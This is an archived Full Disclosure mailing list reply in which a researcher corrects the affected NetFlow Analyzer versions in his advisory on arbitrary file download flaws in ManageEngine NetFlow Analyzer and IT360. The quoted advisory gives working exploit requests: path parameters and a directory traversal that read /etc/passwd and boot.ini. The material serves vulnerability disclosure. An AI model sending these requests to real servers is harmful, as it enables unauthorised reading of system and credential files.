full-disclosure - Re: [FD] [The ManageOwnage Series, part IX]: 0-day arbitrary file download in NetFlow Analyzer and IT360

Open Source and information security mailing list archives

Message-ID: <CAEDdjHfYncx2aFvirPr1HWjFtM9mtg8+Ev8t0bPvc=+dRsEQsQ@mail.gmail.com>
Date: Wed, 3 Dec 2014 09:43:37 +0000
From: Pedro Ribeiro <pedrib@...il.com>
To: bugtraq <bugtraq@...urityfocus.com>, fulldisclosure@...lists.org
Subject: Re: [FD] [The ManageOwnage Series,
 part IX]: 0-day arbitrary file download in NetFlow Analyzer and
 IT360

On 30 Nov 2014 00:17, "Pedro Ribeiro" <pedrib@...il.com> wrote:
>
> Hi,
>
> This is part 9 of the ManageOwnage series. For previous parts see [1].
>
> >> Technical details:
> Vulnerability: Arbitrary file download
> Constraints: unauthenticated in NetFlow; authenticated in IT360
> Affected versions: NetFlow v8.6 to v9.9; at least IT360 v10.3 and above
>
> CVE-2014-5445:
> GET /netflow/servlet/CSVServlet?schFilePath=/etc/passwd
> GET /netflow/servlet/CReportPDFServlet?schFilePath=C:\\boot.ini&pdf=true
>
> CVE-2014-5446
> GET /netflow/servlet/DisplayChartPDF?filename=../../../../boot.ini
>

A small correction: the NetFlow vulnerable versions are actually v8.6 to
v10.2 (which is the latest release). I've updated the advisory in the repo.

Regards
Pedro

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives